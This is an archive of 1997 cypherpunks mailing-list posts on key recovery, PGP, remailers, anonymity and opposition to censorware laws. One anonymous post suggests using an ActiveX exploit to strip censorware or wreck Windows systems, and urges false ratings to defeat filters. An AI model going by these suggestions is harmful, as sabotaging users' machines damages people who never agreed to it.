>   Associates announced last week it would buy PGP, formerly 
supportive
>   privacy advocates screamed that the company's new owners were 
part of
>   the "Key Recovery Alliance," a group of firms devoted to 
producing
>   data-scrambling software easily snoopable by the government.
>
>        Now the complaining may stop, at least for a while. The
>   McAfee-PGP combo, called Network Associates, has dropped out of 
the
>   alliance. "I never would have allowed my own company to join the 
Key
>   Recovery Alliance," Zimmermann told me yesterday. "As soon as I 
found
>   out about McAfee being a member, I tried to do something about 
it."
>
>[...]
>
>
>
>
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

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NfOr+wzRaNOyiEFEdeoQW785PR4PhdpPaqvFZr+pBi2GDI4Eb9OBPQ==
=Wdxn
-----END PGP SIGNATURE-----

Clyde Williamson
PGP Public Key found at http://users1.ee.net/clydew/pgp.htm

"My uncle always said that there was more 
than one way to skin a cat....
I guess that explains the fur pants."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 9 Dec 1997 10:00:02 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailer Trivia / Re: Singapore & Freedom (fwd)
Message-ID: <199712090021.SAA02221@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: 8 Dec 1997 17:40:04 -0000
> From: Charlie Comsec <comsec@nym.alias.net>
> Subject: Re: Remailer Trivia / Re: Singapore & Freedom 

> I find it interesting that most of the people who refer to anonymous
> posters as "hiding behind" or "hiding behind the skirts of" something
> usually have unlisted telephone numbers when you try to do a search
> for them. <g>  I wonder why "hiding behind" an unlisted telephone number
> is considered acceptable but having an "unlisted" e-mail address is not
> considered acceptable?

> BTW, do you "hide behind" clothes when you walk on the street?  If so, why?
> Got something to hide?  Huh?  COWARD!!!! <g>

Public anonymity and having an unlisted phone number are not even the same
thing. An unlisted phone number is to reduce public exposure, anonymity is
to enhance public exposure and secure plausible deniability. To have an
analogous situation you would need to use a *listed* phone number registered
to anonymous in such a way that ANI displayed the number but any directory
search resulted in anonymous w/ no address or other tracing info even for
the phone company. To the best of my knowledge no phone company anywhere
will allow a customer to purchase service without identifying themselves to
the phone company. Please let me know if there is such a beast somewhere.

Generaly people wear clothes because it is convenient and required by social
mores and legal statute.

Put your money where you mouth is, send your bank acct. no. & PIN to the
list....come on, you can trust US.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harish Pillay <harish@brokat.com.sg>
Date: Mon, 8 Dec 1997 23:05:39 +0800
To: nobody@bureau42.ml.org
Subject: Re: Quick Response Team in sg?
In-Reply-To: <eoZicfm120yEzXCdt8S9cA==@bureau42.ml.org>
Message-ID: <199712081030.SAA08442@brokat.com.sg>
MIME-Version: 1.0
Content-Type: text



bureau42 Anonymous Remailer shaped the electrons to read ...
> 
> From:             Mail Administrator<Postmaster@vang.pacific.net.sg>
> Send reply to:    Mail Administrator<Postmaster@vang.pacific.net.sg>
> Subject:          Mail System Error - Returned Mail
> > This Message was undeliverable due to the following reason:
> > 
> > The following destination addresses were unknown (please 
> > check the addresses and re-mail the message):
> > 
> > SMTP <harish@brokat.com.sg>
> > 
> > Please reply to Postmaster@vang.pacific.net.sg
> > if you feel this message to be in error.
> 
> Hmmmmm.

Yes, hmmmm it is.  harish@brokat.com.sg is not functional yet.  Minor
glitch.  So, do reply to h.pillay@ieee.org for the time being.
-- 
Harish Pillay                             	  h.pillay@ieee.org
Singapore      *** Ask me about Linux *** http://home.pacific.net.sg/~harish





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Tue, 9 Dec 1997 02:38:31 +0800
To: listproc <aba@dcs.ex.ac.uk>
Subject: Re: NA/McAfee pulls out of KRAP (Re: One for the Good Guys)
In-Reply-To: <199712071245.MAA01821@server.test.net>
Message-ID: <19971208.182556.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    as I heard the story, NA was not really aware they were in KRAP; seems
    like a marketing type (no brains as first requirement) signed them
    up at the inception --however, they never made formal signed application;   
    and, they never paid their dues. rest as follows....  and it does not
    make me trust PGP 5+ anymore than I ever did. PGP 5.5 may not endorse
    KRAP and he rest of that nonsense, but it sure has the hooks for it.

        attila

on or about 971207:1245, in <199712071245.MAA01821@server.test.net>, 
    Adam Back <aba@dcs.ex.ac.uk> was purported to have 
    expostulated to perpetuate an opinion:

>William Geiger <whgiii@invweb.net> writes:
>> Well McAffe has reluctantly pulled out of KRAP.
>> 
>> http://www.pgp.com/newsroom/na-kra.cgi

>Well here it is, as it's pretty short:

>Sounds like good news to me.

>: Network Associates Withdraws from Key Recovery Alliance
>: 
>: Network Associates made the decision today to withdraw from the Key
>: Recovery Alliance. The decision to withdraw has been made based on the
>: acquisition of Pretty Good Privacy, Inc. (PGP), announced on December
>: 1.
>: 
>: Network Associates' decision to buy PGP was based on a commitment to
>: PGP's product line and the deployment of strong cryptography.
>: 
>: NAI believes that although the Key Recovery Alliance is not in itself
>: a political organization, membership in it has unintended political
>: consequences that outweigh any technical benefits we may receive.

>Adam

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNIw8m7R8UA6T6u61AQFLnAIAkCTnDqxU4KGnYmxkf/I+xVRDSjfbmoKk
jdlfIxzXB7SM0uTpouGvb93Bs+9GfdIR4gL+jzDS5eHTmPsYAUcRjw==
=YENV
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 9 Dec 1997 09:59:49 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: [Fwd: (Fwd) GILC on racism, Asian events, copyright, etc. (472 l (fwd)] (fwd)
Message-ID: <199712090036.SAA02247@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 08 Dec 1997 10:34:09 -0600
> From: TruthMonger <tm@dev.null>
> Subject: [Fwd: (Fwd) GILC on racism, Asian events, copyright, etc. (472 l (fwd)]

>   [B3.3] CDA's Younger Big Brother
> 
> Last week, in another attempt to clear the Internet of pornography,
> United States Senator Dan Coats (Republican from Indiana, former aid
> to Dan Quayle, and the originator of the failed CDA) introduced S.
> 1482, which seeks to prohibit commerical Internet sites from
> distributing material considered "harmful to minors" under 17 years
> old. Violators wil be imprisoned for six months with a $50,000 fine. 
> Supporters of the bill say that it's newly focused, because it covers
> only material that's "harmful to minors," and not material that's
> "indenent."  Coats's concern is over the free "teasers" (images of
> naked women and simulated sex acts) that most pornographic sites offer
> viewers.

This seems to me to be a step backward. Indecent at least has an implicit
relationship with sex while harmful to minors does not. Does the bill make
some notice that it applies only to sex and sex related issues or can this
be applied to any subject matter that would be harmful to minors? This
could impact all sorts information such as bomb info, ways to make booze, 
drug related sites, etc.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Tue, 9 Dec 1997 12:10:40 +0800
To: cypherpunks@cyberpass.net
Subject: A message with a key to be posted later
Message-ID: <3.0.3.32.19971208200125.006be03c@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5

pQQUWkSzhyh18H9mQJc7BcsnrhejW3+xsVHHVZ1EaJeJJh/KIR4uoCcPCnBfqru/
5+z1CjJKYhyEq5+O6vgq3b/Z7cWteVrXdbH0rD12G7P/iFaeYVM3tztsINpjT48O
vd53BlxGrjugMiWzfFg7wFXhfnyvkjKudLw09eBrivQBDE8C1VGpmx4XqarZR3Zx
zYIK5n6NfgGHN1EFOw2mhPX/1OXnVoB1t1eIXm7NC3/Ym+U7WV1Qca+1/FAi+I2a
0mmKdEZIIXYALXztkDQiAz4qh0+d7KuhjQZVAS6HLyWztRXCOaG/uAHmyW9sf+y6
f1O6cBvrDPhNTHpM8QjNFgSBPmlLY9Kn6pR+WWfKLbAac19mSWudhsejUCqkYCuX
ZZio7vzMxuws2h0x4hReGuX3awbcXtDX858VxGoAmO4moQIz8Ps0NA9z9SW73erT
Hj42/fgmE6ZaX9vXubmMKVvfDm9U3KceePKEptEJQVDwsqUjSdIjbzShI/SDai20
sf6Fq7595f3dJ0BdUbqYZhWU3aHyZJMy+AhL/HAmYevUKnKVEPqaZpQMTtB5IbmN
TEe76jDdJN7fQG35MkFjn0y4gsYeOqXZ3An/9dwOOWDpW0udXPl0NE/ZWqjE7Mo4
zAqAYzyosjkd283ZDy36s92581fXRLqf2WX0tbgiYWcSHVwRj4ZYDEXV2SEsK9rR
BXii5TIENG6zJbU6Nk6FjcZXpcHc0vVQO77Qn7y0OfM+7eiy436PXHVo8J+QP9Ls
HYEALbk2e7i4oA6eyEEJ1fQfY4voKZ4FlthqjyAqYu2vcAStXkdpMArXQ+ZqZHMK
VwRn3Ov5UzN/4jSFRTuy3x8DgZV8plwpp62cGJiRvbCZH4sxdAyNHMsz7CEvl+Nf
gxHaKcvN8cyEZmG0GUUauw13txJJ+TNzLqIYAMWliDQC8M03v4lMl4kNtnv9c8Rw
/1LtZtnh2lYPvvjR1xqzD0hUC/A/PdiQjJtAIgEJr9di6SI9sUjd90+pSlMTs1ST
dk11CDYzY6VcQvKGLpWGxSwAci7NAnLr9Ge2ZkMRmigR4Ilhe3mFqe4N+8CnS3sF
8OsO/ZoJta4PbguZH/qgI//ji1E+JBx2seUq6tdjNJRgm/I22+dfAHxiXMeC1fAp
adrXPHy1ZRpeFOkurnI9ZofA5QnGuc4VlamlxqxqbGd2TmroKHDxM8w+HJ4zkv2I
boYiemaPtMmmDShdLPL3klxiDYJJaiugEhic/dx6D5ZRyqVazEBM6OFxIbrxaEob
/8hwQglmTEQwJgX0TKVwbtjd2ZCjtOjZQiZ6GPQPxHW+3C+DcokOCGMsT8TRSO9X
4TaGzQYUY1fNDLqyeltoDLDfB3Xhp8s7tMDIb7BgBa0lNkaO4stg
=0JK4
-----END PGP MESSAGE-----


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

Never sign a contract that contains the phrase "first-born child."

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 9 Dec 1997 10:47:56 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: "Kids Safe" calls for mandatory blocking sw; op-ed on summit (fwd)
Message-ID: <199712090259.UAA03199@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: 9 Dec 1997 02:26:07 -0000
> From: Secret Squirrel <nobody@secret.squirrel.owl.de>
> Subject: "Kids Safe" calls for mandatory blocking sw; op-ed on summit

> One of these days these idiots are going to learn two things: 1) You can
> successfully censor very little material, and 2) It pisses people off and
> they go out of their way to offend and put up porn. Remember back during the
> Exon debacle? Hell, porn was posted to Cypherpunks.

What a pipe dream, as one dies another is born.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 9 Dec 1997 04:17:32 +0800
To: cypherpunks@Algebra.COM
Subject: Re: It's Sunday...
Message-ID: <199712082004.VAA16310@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----Begin Forward Message-----
From: Linda Reed <lreed@igate.iscg.pima.gov>
Organization: pima county

Hi, CJ   
                      -- Thanx for cheering me up on a MONday mornin' -- 
and for your bits of worldly wisdom.

        Every once in a while, in between the gross sexual/political
bashings 
and overstatement of the not-so-obvious, I can glean some truthful 
observation on the world at large--something to at least spark my brain 
(which it badly needs today).

        Thanx for the warning.  People DO ask about you from
time-to-time, 
especially Bob & Kid Squidd--who both seem to be doing OK--and others, 
who breathe a sigh of relief when I tell them you're still out of the 
country ;)

        I have one more month of probation at my new job with the
county--the 
thing is they want me to come in every day--and at the right time! 
Still 
struggling with that part--in the mean time getting all their programs 
and screens to hold onto a 4-digit year in preparation for the
Year-2000. 
 I've talked to several people who are making lots of money convincing 
everyone to pay them to revamp for the inevitability of the century 
change--who also plan to retire some time before it hits (and remain 
out-of-touch in case the revamping fails for any reason).

I'm having T-shirts made for LL & the Driffters for Xmas--special green
& 
red colors--shall I mail you one?
to what address?  We're still driffting around--looks like I'll have to 
actually pay for studio time and an engineer early in the year to get a 
recording done--want to come sing in background on "It's A Long Way to
My 
Heart"?

Here's wishing you a Merry one from a girl who's been both naughty and 
nice  -- Linda Lou ;) 

-----End Forward Message-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Tue, 9 Dec 1997 14:19:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: A message with a key to be posted later
In-Reply-To: <3.0.3.32.19971208200125.006be03c@popd.netcruiser>
Message-ID: <3.0.3.32.19971208214334.0068af8c@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



The key to the message is:

The purple pegguin kicks ice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Tue, 9 Dec 1997 10:51:38 +0800
To: cypherpunks@cyberpass.net
Subject: Hakim Bey, Where Are You?
In-Reply-To: <82d58c5d19de5a8a146b13b45d7a1d25@squirrel>
Message-ID: <3.0.2.32.19971208214402.03888ea4@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.nytimes.com/yr/mo/day/news/national/ny-taxfraud-blacks.html

NYT

December 8, 1997

Officials Detail Separatist Role in New York City Tax Scheme

...

To illustrate, Chip Berlet, a senior analyst for Political Research Associates in Somerville, Mass., cited the Web page of Hakim H.Y. Bey, who investigators say appears to be a philosophical leader of the Moorish Nation operating in the Bronx, and who is someone they want to question in connection with the tax-fraud scheme.

Bey's Web site includes links to an abundance of sites -- from the home page for Mother Jones magazine, for example, to the sites of several fringe groups, including the Militia of Montana, a white separatist group, and James Daugherty, a white Michigan man who proclaims, "The Overt and Covert Organs of the Vatican and British Empires are Locked in Mortal Combat for Control of the World."

"You have separatists and conspiracists both looking at the United States government as the fount of all evil," Berlet said. "It's in the interests of both to bring down the government, so they have a working coalition."

The Bey Web site offers informational packets on Moorish studies and videotapes of lectures but makes no mention of tax kits.

Efforts to reach Bey at what is believed to be his last known address in the Bronx and through the Internet were unsuccessful.

...

DCF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 9 Dec 1997 05:01:17 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Complete package for Cantsin Protocol No. 2
Message-ID: <199712082051.VAA22039@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Steffen Zahn wrote:
>I have put together a package for Cantsin 2 Signatures, to generate
>the keys, sign documents and check signatures.

I've been looking this over and it's a nice job.  The code is clean
and orderly.  I haven't had a chance to play with it yet, but it looks
like everything is done the right way.  For example, it doesn't tell
you how many valid signatures a file has, it outputs a fragment of the
file for each valid signature.  The database of known keys has the
nice property that you can name each key anything you like.

The source code is completely unencumbered.  This is great!  For some
reason, it has been the custom to issue free software with all sorts
of restrictions, in particular restrictions which hamper its
commercial use.  But, if we are giving it away to people so they will
use it, why restrict it?  If somebody can use it to start a cypherpunk
company, this is a Good Thing.  (This can even be a Very Good Thing
for the original programmer. ;-)

It might be a good idea to publish the SHA1 checksum of the file you
are distributing.  The checksum of the file I got (cantsin.tar.gz)
was: D054C9E4ABD5CEE0C5A4343E5D1E2EF91C00048A

I may not approve of the restrictions on free speech in Germany, but
at least the German government isn't trying to stop people from
publishing arithmetic.  The truth is, that for Monty Cantsin's
activities, he would get a better deal on free speech if he were
German.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Re: Complete package for Cantsin Protocol No. 2
To: cypherpunks@algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
2D6DA2EDBCB7DDB4C9F113F160BCF21C5B47BE59
-680 680
6684E438231B2FDE4EE66C30968B25940C4654CAC7343043F6E01EFFCCC3D3A6EAF5AC41790F6CE1DA95A7BAA90241F432C19B19164CD130C450AFB91AEC9B72BD1F7E587518F4A115DF25345391942408C3E41D9FBC249119A0B37A3D1E23E5992A044422151C2049174284BEC658D4481A2A9EA50075DADF33C78AE79ED07F238A7CE53224D30B0E25CFD079DF5BA78CA281BFE100FED703F8BDC139673BE9DE1AC9A3F77777182932EC8D9B945D64E3957C7C71C470F6EB462083C011AD4EC9D7D4AD9BD9A2400C703596E3AD65556076FD3DDEB150456849F15A074E4BA6E8E3A9FD2D7B1BEAAEF085DEA82BC75EA43014C5AD9A83A290F293A7CB5AEE93
BBEEEB9475CB0254CA902A8DA92B6C76700F590373FB759816E13EB28573CD5FCBCF144D6AA316E978E209AD0C67D7A3AC4DEA762664703C823B228F33B3C2BBCFF979C798356AFC00D98EF4279A8CC5B0B2E93282936EFA1A9EF6B7DE0AD8A5E830E2DD073355C47E043ADEC4EE3297FF3165E5874E2F3000CEB290F96087C98DFC836543717A377BE3BFC664D8DE87BF36CCA7E18690CA8A3793B1E7169B2C3299C9B5DE7F5FC8BB93C7818D29F003EF8EF00560875F6461900031FD57CEA3C5B71E161853BF064661AF401056023B360783BBC89CB596A7B16B52BF8C617EE21FA7AB20B63B2E2ECE5F18CA419AF3C65D7C886751B4AC285CA0EC35B5FFCC






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <usura@sabotage.org>
Date: Tue, 9 Dec 1997 06:33:59 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: mail2news gateway (fwd)
Message-ID: <199712082217.XAA03959@basement.replay.com>
MIME-Version: 1.0
Content-Type: text




Anyone has more info
------

For the past several weeks, a right wing extremist group in Topeka, Kansas has been
tampering with mail2news gateways, including yours, to prevent several people who
oppose their hate agenda from posting to the usenet through your gateway.

The affected gateways include at least alt.revisionism, alt.christnet, alt.politics.homosexuality
and alt.abortion. Posts are returned "user unknown" suggesting that the mailbox may
have been deleted.

This is a group of *fanatics* (Westboro Baptist Church) whose website godhatesfags.com
may be known to you. They also operate several other websites under aliases the best-known
of which is revwhite.bestsites.net. They advocate murdering abortion clinic workers,
homosexuals and blacks.

'Rev White' (actually a member of the Fred Phelps family aka Westboro Baptist Church)
was responsible for conducting a reign of terrorism last year (see "WIRED" magazine,
Jan. 1997) against the irc that included death threats and operator sabotage. Several
in this group are highly skilled in hacking and are willing to spend whatever time
it takes launching denial of service attacks so that some of their opponents' viewpoints
can't be posted. And they're willing to do this everyday if necessary to harass and
intimidate others into silence. Several of them have criminal records in Topeka.


I'm writing to ask you in the name of fair play to re-open these gateways and do
whatever is necessary to keep them open. Better yet, I hope you can kept them in
the act like a Canadian ISP did and report them to

Special Agent Tom Maiorana
FBI
300 U.S. Courthouse
Kansas City, MO 64106
816-221-6100

Thank you for whatever assistance  you can be in this matter.

-- 
  Alex de Joode | usura@SABOTAGE.ORG | http://www.sabotage.org
	Sabotage Internet: Your Internet Problem Provider.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andrew Shapiro <ashapiro@interport.net>
Date: Tue, 9 Dec 1997 14:35:28 +0800
To: Mike Godwin <mnemonic@well.com>
Subject: Re: NYTimes oped: Federal laws better than censorware
In-Reply-To: <3.0.1.16.19971204120003.2ff7b144@pop.interport.net>
Message-ID: <v03007807b0b27e986ec2@[207.38.248.190]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:37 PM -0500 12/7/97, Mike Godwin wrote:
>At 12:00 PM -0500 12/4/97, Andrew Shapiro wrote:
>>That's not what I said.  I'm not in favor of censorship and I oppose any
>>attempt to *criminalize* 'indecent' speech.  But criminalize does not =
>>regulate.
>
>Perhaps it is a flaw in my legal education, but I was always taught that
>criminal laws were a form of regulation.

What I meant to say, Mike, was that not all regulation, obviously, is criminal.

A.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Tue, 9 Dec 1997 10:47:56 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: NYTimes oped: Federal laws better than censorware
Message-ID: <2fe8bf3abfb3d4e32098b45842d2a5ca@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



>I think the answer to your question is that most of us find the very idea
>of filterware distasteful (let alone the generally poor quality of the
>implementations.  However, that's much the same as I find american cars
>distasteful.  If somebody else wants to blow their money on one of those
>pieces of crap, by all means let them.  (I admit, they're slowly getting
>better)  This leads us to poke fun at the current systems and argue against
>people actually using them, much the same way a christian friend of mine
>keeps trying to get me to accept jesus into my heart and love him so that I
>won't go to hell.  On the other hand, we get really pissed off when
>somebody tries to force us and our kids to use this crap.  It doesn't
>matter if it is AOL or the FBI, outside coercion is outside coercion.

Or public school districts, which are arms of the government regardless of
the fact that many of them have the word "independant" in their name and
have a quasi-independant regulatory joke known as a "school board."
Strangely enough I'm taxed to provide Internet feeds in the schools, then
taxed to censor those feeds, then bitched at for not "thinking about the
children" when I post to USENET, then threatened with government regulation
for the same. All while the public school system is turning out people who
can't read or do basic mathematics.

And we still come back to the old question: Who determines what is "suitable
for children?" Since I, for instance, consider absolutely no material to be
"inappropriate for children" on basis of their age and I absolutely deplore
censorship in all its forms I would rate everything as "suitable for
children," even if that means that I have to rate a porn page as having "no
nudity," or a copy of a hack and slash novel with blood and gore all over
the place as "no violence." It's blatently obvious to a human that they're
walking into a porn page or a copy of The Terrorist's Handbook before they
actually transfer it. Since the sole purpose of automated filtering and
rating systems is to censor material which some censor decides is
"inappropriate" for a particular audience without any input from that
audience at all, and in many cases I'm the one paying for the network feed
to begin with, screw them. And I'll put whatever I want on my pages, even if
that is a ratings tag, thank you.

If Little Johnny is of such fragile mentality that he will be damaged for
life because he sees a penis or a breast, then he was screwed already. Think
of it as evolution in action.

Rate falsely and watch them load.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Tue, 9 Dec 1997 10:45:40 +0800
To: fight-censorship@vorlon.mit.edu
Subject: "Kids Safe" calls for mandatory blocking sw; op-ed on summit
Message-ID: <f59dcbd52e41361708587d5e106bc5dd@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



>   Dec. 5, 1997--Saying that we must protect children from the dangers of
>sexually explicit material on the Internet, a leading child-safety advocate
>Friday called on Congress to enact legislation to mandate that every
>computer sold in the United States by 1999 be outfitted with parental
>software that can block out sexually explicit or adult Web sites.

"Oh my gawd! A nipple! I'm harmed for life! I'm going to hell! Jesus doesn't
like this! All for a nipple!"

Um, yeah. And the far-right wackos strike again, this time in the guide of
"Kids Safe."

And now in addition to paying for Windoze when you buy a computer you get to
pay for censorware which you don't want. What if my machine comes with Linux
preinstalled? Is censorware still mandated? What if I deliberately come up
with a way to purposefully break the censorware every time they release it?
What if I come up with a way to get around the idiotware...err, censorware?

What if I specify that I don't want them to even TOUCH my hard drive -- just
stick it in the case and hand me the CDs? 

But the #1 reason this is stupid is: What keeps me from using an ActiveX
applet to exploit the "everyone is root" "feature" in Windows to remove the
censorware or, better yet, check to see if it is installed and horribly hose
the system? Granted nothing keeps me from destroying the system as it stands
now, but this just gives people a reason to do it other than the standard
(and justified) "Windows' point and click crap has destroyed the network." 

And of course there are two ways to use the actual ratings for civil
disobediance. You can either rate porn as "acceptable for children" or you
can rate *everything* as "hard-core XXX with graphic gunshots to the head, a
bunch of blood, and people cussing." The same applies for filters; I can
obsfuscate trigger words (i.e. "fuck" as "fsck" or "fuq") or I can
deliberately strewn them all over my pages so that people are, in effect,
FORCED to turn it off to read everything from a technical paper to a FAQ for
comp.lang.c.

One of these days these idiots are going to learn two things: 1) You can
successfully censor very little material, and 2) It pisses people off and
they go out of their way to offend and put up porn. Remember back during the
Exon debacle? Hell, porn was posted to Cypherpunks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 9 Dec 1997 16:32:13 +0800
To: cypherpunks@cyberpass.net (Cypherpunks Mailing List)
Subject: Why put up with KRAP?
Message-ID: <199712090815.DAA10607@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain




Why put up with KRAP?

>[Network Associates] believes that although the Key Recovery Alliance
>is not in itself a political organization, membership in it has
>unintended political consequences that outweigh any technical benefits
>we may receive.

	So, this piqued my interest.  What technical benefits did NA
receive from participating in KRAP?  Did they get any?  The press
release says "may receive."  All Newspeak aside, does this mean that
there is a secret document promising the KRAP group something?   (This
is what remailers and brown paper envelopes were invented for.  I'm
sure John Young would be happy to scan in some KRAP promises.)

	If there is no secret document that comes out, we have to ask
ourselves, why the alliance?  Did these companies really see a market
demand?  Did the government make promises about size of contracts it
would offer to companies that shipped them KRAP?  (Perhaps this
relates to farming subsidies...)  If so, those companies would be well
advised to talk to AT&T, whose promised contracts for shipping the
TSD-1300 with Clipper in place of DES never materialized.

	Is there a plan for interoperable KRAP?  Is this going to
relate to interoperable SET, where competing impulses, competing
comittees, and no clear threat model or design goal lead to a spec
that isn't, and a need to go back to the drawing board?  the simple
fact is that cryptographic security is hard enough to achieve without
trying to add in layers of KRAP.

	So why bother?  Network Associates decided it wasn't worth it.

	This then, becomes an open call to the charter members of the
KRAP: Apple, Atalla, Digital, Bull, HP, IBM, NCR, RSA, Sun, TIS, and
UPS to explain what they're doing in KRAP, what they hope to achieve,
and to follow Network Associates proud example, and get the hell out.

	I'll advise shareholders in any KRAP companyto ask that same
question: Is there a reasonable ROI on the KRA, and why are you
involved?  The hall of shame is on the web:
http://www.kra.org/roster.html



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 9 Dec 1997 10:59:58 +0800
To: m2n@alpha.jpunix.com
Subject: Re: Another of Gary Burnore's Lies Exposed
In-Reply-To: <348ae71f.274808632@nntp.best.ix.netcom.com>
Message-ID: <199712090233.DAA12644@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Mix <mixmaster@remail.obscura.com> wrote:
       
> >:gburnore@netcom.com (Gary L. Burnore) wrote:
>  
>  [clipped only the equine manure parts of Mr. Burnore's article ]
>  
> Hmmmm.  Nothing left.
>  
> Isn't it amazing how the Anti-Privacy Mr.
> Burnore thinks there is only ONE anonymous person posting to correct his
                          ^^^^^^^^^^^^^^^^^^^^^^^^^
> outrageous lies and massive disinformation?  

Uh, oh!  Head for the hills!  Our secret is out!  We have all of these
remailers and they only have ONE USER. <g>

> Isn't it amazing how Dumbo Mr.
> Burnore calls 'an asshole' all those who choose to post a dissenting opinion
> anonymously?  Isn't it amazing how Anti-Free Speech Mr.
> Burnore demands to know all anonymous identities yet himself hides the
> addresses of where he lives and works?

Most control freaks like Gary Burnore and the rest of the DataBasix Gang are
hypocritical about privacy.  They want to invade that of others at will while
protecting their own.  Gary Burnore and Belinda Bryan <eridani@netcom.com>
were worried that their UNLISTED PHONE NUMBERS might be given out, but anyone
who dares criticize their actions with an "unlisted" e-mail address is an
"anon asshole".

OK, let's make Gary happy.  If he's so worried that my asshole is "anonymous", 
I guess I'd better give it a name -- "Burnore" sounds about right to me.  So
to all control freaks -- "stick it in your Burnore".

I'm still wondering what wondrous plans Gary and Belinda had for all
those e-mail addresses of the users of the Huge Cajones Remailer if Jeff
Burchell had turned them over to DataBasux as they had demanded.  (Not just the
senders but the RECIPIENTS as well!)  Fortunately, Jeff was smarter than your 
average Burnore and didn't keep such things around to tempt DataBasix, 
Scientology, etc., so we'll never find out.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
